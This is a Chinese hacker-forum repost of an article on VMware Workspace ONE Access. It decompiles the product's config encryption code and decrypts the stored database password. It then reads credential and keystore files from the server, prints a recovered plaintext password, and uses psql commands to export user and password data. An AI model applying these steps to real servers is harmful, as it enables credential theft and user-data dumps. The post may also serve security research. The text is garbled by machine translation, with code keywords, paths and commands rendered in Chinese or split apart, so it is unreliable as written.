跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

VMware Workspace ONE Access调试分析——数据库口令的破解


风尘剑心

推荐的帖子

0x00 前言

在上篇文章《VMware Workspace ONE Access漏洞调试环境搭建》 提到连接数据库的口令加密保存在文件/usr/local/horizon/conf/runtime-config。性能中,本文将要基于调试环境,分析加密流程,介绍详细的解密方法。

0x01 简介

本文将要介绍以下内容

加密流程

解密方法

数据库操作

0x02 加密流程

1.定位关键文件

经过一段时间的寻找,找到实现加密功能对应的文件为/opt/VMware/cert proxy/lib/horizon-config-encrypter-0.15。冲突

反编译获得加密的实现代码如下:

公共最终字符串加密(字节[]数据){

如果(数据!=空数据,长度!=0) {

如果(!this.getKeyMgmt().randomKeyEnabled()!this.getKeyMgmt().customKeysAvailable()) {

log.error('没有可用的自定义加密密钥,中止加密。');

返回空

}否则{

密码加密密码=这个。getencrypt密码();

尝试{

if (encryptCipher!=null) {

byte[]utf8=数组实用程序。addall(加密密码。getiv()、加密密码。做final(数据));

字节缓冲区。分配(2);

密钥缓冲区。简而言之(这个。getkey管理().getCurrentKey());

utf8=数组实用程序。addall(密钥缓冲区。array()、utf8);

utf8=ArrayUtils.insert(0,utf8,new byte[]{(byte)this。getkey管理().getcurrentciperversion()});

byte[]dec=base64。编码基数64(utf8);

返回新字符串(十二月,标准字符集.US _ ASCII);

}

} catch(IllegalBlockSizeException | IllegalStateException | BadPaddingException var 6){

log.error(var6.getMessage(),var 6);

}

返回空

}

}否则{

返回空

}

}

2.动态调试

为了提高分析效率,采取动态调试的方法,流程如下:

(1)新建Java工程

下载访问VMware Workspace ONE服务器中/opt/vmware/certproxy/lib/下的所有冲突文件并保存,在Java 语言(一种计算机语言,尤用于创建网站)语言(一种计算机语言,尤用于创建网站)工程导入以上冲突文件

新建包:com。VMware。地平线。常见。utils。配置

新建文件ConfigEncrypterImpl.java,内容如下:

包com。VMware。地平线。常见。utils。配置;

导入com。谷歌。常见。注释。测试可见;

导入com。VMware。地平线。API。配置加密器;

导入com。VMware。地平线。随机的。securerandomutils

导入com。VMware。地平线。安全。安全提供者助手;

导入Java。nio。字节缓冲区;

导入Java。nio。字符集。字符集;

导入Java。nio。字符集。标准字符集;

导入Java。安全。invalidalgorithm参数异常;

导入Java。安全。invalidkeyexception

导入Java。安全。nosuchalgorithm异常;

导入Java。安全。securerandom

导入javax。注释。非空;

导入javax。注释。可空;

导入javax。密码。badpaddingexception

导入javax。密码。密码;

导入javax。密码。illegalblocksizeexception

导入javax。密码。nosuchpaddingexception

导入javax。密码。密钥;

导入javax。密码。规格。ivparameterspec

导入javax。密码。规格。secretkeyspec

导入org。阿帕奇。公地。编解码器。二进制。base64

导入org。阿帕奇。公地。郎3。数组实用程序;

导入org。阿帕奇。公地。郎3。字符串实用程序;

导入组织。充气城堡。密码。FIPS。fipsunapprovedoperationerror

导入org。slf4j。记录者;

导入org。SLF 4j。伐木工厂;

公共类ConfigEncrypterImpl实现ConfigEncrypter {

公共静态最终字符集编码字符集

私有静态最终记录器日志;

私有静态最终安全域斯兰德

私有静态configencrypterinmpl静态密钥实例;

private static final configencrypteripl randomKeyInstance;

私有静态最终对象keyInstanceLock

私有ConfigEncrypterKeyMgmt密钥管理;

私有静态configencrypteripl createRandomKeyInstance(){

安全提供者助手。initializesecurityprovider();

返回新的configencrypterinpl(false);

}

公共静态configencrypterinmpl getInstance(){

同步(keyInstanceLock) {

if (staticKeyInstance==null) {

静态密钥实例=new configencrypteripl(true);

}

返回staticKeyInstance

}

}

公共静态configencrypteripl getRandomKeyInstance(){

返回randomKeyInstance

}

private configencrypterinmpl(boolean useStaticKey){

if(使用静态键布尔值。分析布尔值(configpropertiesutil。获取属性().getProperty('组件。配置加密程序。kms。启用')){

log.info('未初始化静态配置密钥库。将KMS用于安全配置属性');

这个。密钥管理=空;

}否则{

这个。key mgmt=new ConfigEncrypterKeyMgmt(useStaticKey);

}

}

@VisibleForTesting

configencrypteripl(ConfigEncrypterKeyMgmt密钥管理){

这个。密钥管理=密钥管理;

}

@Nullable

公共最终字符串解密(字符串数据){

if (StringUtils.isBlank(data)) {

返回空

}否则{

byte[]加密=数据。getbytes(编码字符集);

布尔型b64

尝试{

b64=Base64.isBase64(加密);

} catch(ArrayIndexOutOfBoundsException var 11){

b64=假;

}

如果(b64) {

encrypted=Base64.decodeBase64(加密);

}

if (ArrayUtils.isEmpty(加密)){

返回空

}否则{

int密码版本=数学。ABS(加密[0]);

密码解密密码=空

if(密码版本=this。getkey管理().getMinCipherVersion()密码版本=this。getkey管理().getMaxCipherVersion()) {

encrypted=arrayutils移除(加密,0);

short keyIdx=ByteBuffer.wrap(加密,0,2)。get short(0);

encrypted=数组实用程序。子数组(加密,2,加密。长度);

解密密码=这个。getdecrypt cipher(密码版本,this.getKeyMgmt().getKey(keyIdx),加密);

}

if (decryptCipher!=null) {

encrypted=数组实用程序。subarray(加密,this.getKeyMgmt().getCipherNonceSize(密码版本,decryptCipher.getBlockSize()),加密。长度);

尝试{

byte[]utf8=解密密码。做最后的(加密);

if (utf8.length 0) {

返回新字符串(utf8,编码字符集);

}

log.debug('零长度解密');

} catch(BadPaddingException var 7){

log.debug('无法解密给定值(填充)');

} catch(IllegalBlockSizeException var 8){

log.debug('无法解密给定值(块大小)');

} catch(ArrayIndexOutOfBoundsException var 9){

log.debug('无法解密给定值(mac验证)');

} catch(IllegalStateException var 10){

log.debug('无法解密给定值(非法状态)');

}

}

返回空

}

}

}

@Nullable

公共最终字符串加密(@非空字符串数据){

返回StringUtils.isBlank(数据)?null:这个。加密(数据。getbytes(编码字符集));

}

@Nullable

公共最终字符串加密(字节[]数据){

如果(数据!=空数据,长度!=0) {

如果(!this.getKeyMgmt().randomKeyEnabled()!this.getKeyMgmt().customKeysAvailable()) {

log.error('没有可用的自定义加密密钥,中止加密。');

返回空

}否则{

密码加密密码=这个。getencrypt密码();

尝试{

if (encryptCipher!=null) {

byte[]utf8=数组实用程序。addall(加密密码。getiv()、加密密码。做final(数据));

字节缓冲区。分配(2);

密钥缓冲区。简而言之(这个。getkey管理().getCurrentKey());

utf8=数组实用程序。addall(密钥缓冲区。array()、utf8);

utf8=ArrayUtils.insert(0,utf8,new byte[]{(byte)this。getkey管理().getcurrentciperversion()});

byte[]dec=base64。编码基数64(utf8);

返回新字符串(十二月,标准字符集.US _ ASCII);

}

} catch(IllegalBlockSizeException | IllegalStateException | BadPaddingException var 6){

log.error(var6.getMessage(),var 6);

}

返回空

}

}否则{

返回空

}

}

@Nullable

私有密码获取解密密码(int Cipher版本,byte[] decryptionKey,byte[] iv) {

密码解密密码=空

如果(!ArrayUtils.isEmpty(iv)) {

尝试{

解密密码=密码。getinstance(这个。getkey管理().getCipher(cipherVersion),securityproviderhelper。getjceprovider());

IvParameterSpec iv spec=new IvParameterSpec(数组实用程序。subarray(iv,0,this.getKeyMgmt().getCipherNonceSize(密码版本,解密密码。getblocksize()));

secret key secret=new secret key spec(解密密钥,this.getKeyMgmt().getCipher(cipherVersion)).

decryptCipher.init(2,secret,ivSpec,srand);

} catch(invalidalgorithmhparameterexception | InvalidKeyException | nosuchalgorithm exception | nosuchpaddingeexception | IllegalArgumentException | FipsUnapprovedOperationError var 7){

log.error(var7.getMessage(),var 7);

decryptCipher=null

}

}

返回解密密码

}

@Nullable

私有密码getEncryptCipher() {

密码加密密码=空

尝试{

加密密码=密码。getinstance(这个。getkey管理().getCipher()、安全提供者助手。getjceprovider());

字节[] iv=新字节[this.getKeyMgmt().getCipherNonceSize(加密密码。getblocksize())];

srand。next bytes(iv);

秘密密钥秘密=新的秘密密钥规范(this。getkey管理().getKey(),this.getKeyMgmt().getCipher());

IvParameterSpec iv spec=new IvParameterSpec(iv);

encryptCipher.init(1,secret,ivSpec,srand);

} catch(invalidalgorithmhparameterexception | IllegalArgumentException | NoSuchPaddingException | nosuchalgorithm exception | InvalidKeyException | FipsUnapprovedOperationError var 5){

log.error(var5.getMessage(),var 5);

}

返回加密密码

}

@VisibleForTesting

ConfigEncrypterKeyMgmt获取密钥管理(){

返回这个。密钥管理。

}

@VisibleForTesting

public void setCustomEncryptionKeystorePath(@非空字符串路径){

this.getKeyMgmt().setCustomEncryptionKeystorePath(path);

}

public final boolean generateNewEncryptionKey(){

返回this.getKeyMgmt().generateNewEncryptionKey();

}

公共静态void main(String[]值){

字符串值=' 1234567890 ';

configencrypteripl encrypter=getInstance();

系统。出去。println(加密器。加密(值));

}

静态{

编码字符集=标准字符集.ISO _ 8859 _ 1;

log=记录器工厂。获取记录器(configencrypteripl。类);

srand=securerandomutils。getsecurerandominstance();

randomkey实例=createrandomkey实例();

keyInstanceLock=new Object();

}

}

(2)动态调试

想法设置好远程调试参数,开启远程调试,分析结果如下:

在初始化过程中,需要读取文件\ usr \ local \ horizon \ conf \ runtime-config。属性,如下图

2-1.png

加密过程需要读取密钥文件1 \ usr \ local \ horizon \ conf \ config密钥库。通过,如下图

2-2.png

加密过程需要读取密钥文件2 \ usr \ local \ horizon \ conf \ config密钥库。bcfks,如下图

2-3.png

(3)实现加密功能

在访问VMware Workspace ONE服务器下载以下文件:

\ usr \ local \ horizon \ conf \ runtime-config。性能

\ usr \ local \ horizon \ conf \ config密钥库。及格

\ usr \ local \ horizon \ conf \ config密钥库。bcfks

保存至C:\test

修改以下变量:

DEFAULT _ PROPERTIES _ FILE=' c:\ \ test \ \ runtime-config。属性';

CUSTOM _ ENCRYPTION _ KEYSTORE _ PATH=' c:\ \ test \ ';

实现加密功能,如下图

2-4.png

0x03 解密方法

1.获取连接数据库的加密口令

加密数据对应文件/usr/local/horizon/conf/runtime-config。性能中的secure.datastore.jdbc.password

我的测试环境内容为baa cs 8 MW 1 xy me 7/8 ond 2 qwtg 3 MW 37 wf 1/1 pq 6d 09 xxqf 56 ncfrtcun 6y 8 a 1 xftjajhu 60v 1 qnyncoxk 3t 1m 0 dv 0 jva==,如下图

2-5.png

2.数据解密

代码如下:

线贬值=' baa cs 8 MW 1 xyme 7/8 ond 2 qwtg 3 MW 37 wf 1/1 pq 6d 09 xxqf 56 ncfrtcun 6y 8 a 1 xftjajhu 60v 1 qnyncoxk 3t 1m 0 dv 0 jva==';

系统。出去。println(加密器。解密(贬值));

解密出明文口令kuxmsscstqhxnqefbzawyml-das CX 0i,如下图

2-6.png

同/usr/local/地平线/conf/db.pwd中的内容一致,解密成功

0x04 数据库操作

(1)查看所有数据库

psql -h本地主机-U地平线-l

输入连接口令kuxmsscstqhxnqefbzawyml-das CX 0 I

查询结果如下图

3-1.png

存储数据的数据库为saas

(2)导出用户表信息

psql -h localhost -U horizon -c '从用户的中选择结构名称';-d saas -W

输入连接口令kuxmsscstqhxnqefbzawyml-das CX 0 I

这里需要注意,对于一种数据库系统数据库,查询含有大写字母的字段必须加双引号,否则报错提示找不到表名

查询结果如下图

3-2.png

以上操作的戈朗语言实现代码已上传至github,地址如下:

https://github。com/3g student/home-of-Go/blob/master/workspace one _ Query _ PostgreSQL。去

导出口令信息,结果如下图

3-3.png

0x05 小结

本文介绍了利用VMware Workspace ONE Access漏洞调试环境破解数据库加密口令的方法,记录技术细节。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...